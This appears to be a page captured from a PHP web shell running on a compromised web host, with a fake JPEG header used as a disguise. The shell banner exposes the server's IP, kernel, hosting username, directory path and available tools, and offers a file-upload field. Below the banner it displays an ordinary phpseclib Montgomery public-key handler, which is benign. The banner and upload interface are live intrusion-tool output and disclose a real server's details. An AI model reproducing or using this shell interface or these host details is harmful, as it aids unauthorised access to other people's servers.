ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/www/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/ |
Upload File : |
<?php /** * Montgomery Public Key Handler * * PHP version 5 * * @author Jim Wigginton <terrafrost@php.net> * @copyright 2015 Jim Wigginton * @license http://www.opensource.org/licenses/mit-license.html MIT License * @link http://phpseclib.sourceforge.net */ namespace phpseclib3\Crypt\EC\Formats\Keys; use phpseclib3\Crypt\EC\BaseCurves\Montgomery as MontgomeryCurve; use phpseclib3\Crypt\EC\Curves\Curve25519; use phpseclib3\Crypt\EC\Curves\Curve448; use phpseclib3\Math\BigInteger; /** * Montgomery Public Key Handler * * @author Jim Wigginton <terrafrost@php.net> */ abstract class MontgomeryPublic { /** * Is invisible flag * */ const IS_INVISIBLE = true; /** * Break a public or private key down into its constituent components * * @param string $key * @param string $password optional * @return array */ public static function load($key, $password = '') { switch (strlen($key)) { case 32: $curve = new Curve25519(); break; case 56: $curve = new Curve448(); break; default: throw new \LengthException('The only supported lengths are 32 and 56'); } $components = ['curve' => $curve]; $components['QA'] = [$components['curve']->convertInteger(new BigInteger(strrev($key), 256))]; return $components; } /** * Convert an EC public key to the appropriate format * * @param \phpseclib3\Crypt\EC\BaseCurves\Montgomery $curve * @param \phpseclib3\Math\Common\FiniteField\Integer[] $publicKey * @return string */ public static function savePublicKey(MontgomeryCurve $curve, array $publicKey) { return strrev($publicKey[0]->toBytes()); } }